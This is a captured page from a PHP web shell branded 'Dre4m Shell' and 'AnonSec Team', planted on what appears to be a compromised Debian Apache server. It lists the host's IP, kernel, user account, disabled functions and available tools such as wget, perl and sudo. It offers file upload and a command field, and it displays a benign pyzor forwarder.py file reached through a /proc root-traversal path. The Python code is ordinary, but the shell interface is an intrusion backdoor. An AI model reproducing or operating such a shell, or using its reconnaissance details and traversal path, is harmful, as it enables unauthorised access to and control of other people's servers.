Dre4m Shell
Server IP : 85.214.239.14  /  Your IP : 13.58.217.242
Web Server : Apache/2.4.62 (Debian)
System : Linux h2886529.stratoserver.net 4.9.0 #1 SMP Tue Jan 9 19:45:01 MSK 2024 x86_64
User : www-data ( 33)
PHP Version : 7.4.18
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : OFF  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : OFF
Directory :  /proc/3/task/3/root/proc/3/root/lib/python3/dist-packages/pyzor/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /proc/3/task/3/root/proc/3/root/lib/python3/dist-packages/pyzor/forwarder.py
"""Manage the forwarder process."""

import logging
import threading

try:
    import queue
except ImportError:
    import queue as Queue


class Forwarder(object):
    """Forwards digest to remote pyzor servers"""

    def __init__(self, forwarding_client, remote_servers,
                 max_queue_size=10000):
        """
        forward_client: a pyzor.client.Client instance to use as
                        forwarding client
        remote_servers: a list of (hostname,port) tuples where digests should
                        be forwarded to
        max_queue_size: max amount of queued digests
        """
        self.log = logging.getLogger("pyzord")
        self.forwarding_client = forwarding_client
        self.forward_queue = queue.Queue(max_queue_size)
        self.remote_servers = remote_servers

    def _forward_loop(self):
        """read forwarding requests from the queue"""
        while True:
            try:
                digest, whitelist = self.forward_queue.get(block=True,
                                                           timeout=2)
            except queue.Empty:
                # If the forwarding client has been deleted we should
                # end the thread
                if self.forwarding_client is None:
                    return
                else:
                    continue

            for server in self.remote_servers:
                try:
                    if whitelist:
                        self.forwarding_client.whitelist(digest, server)
                    else:
                        self.forwarding_client.report(digest, server)
                except Exception as ex:
                    self.log.warn('Forwarding digest %s to %s failed: %s',
                                  digest, server, ex)

    def queue_forward_request(self, digest, whitelist=False):
        """If forwarding is enabled, insert a digest into the forwarding queue
        if whitelist is True, the digest will be forwarded as whitelist request
        if the queue is full, the digest is dropped
        """
        if self.forwarding_client is None:  # forwarding has been disabled
            return

        try:
            self.forward_queue.put_nowait((digest, whitelist),)
        except queue.Full:
            pass

    def start_forwarding(self):
        """start the forwarding thread"""
        threading.Thread(target=self._forward_loop).start()

    def stop_forwarding(self):
        """disable forwarding and tell the forwarding thread to end itself"""
        self.forwarding_client = None

Anon7 - 2022
AnonSec Team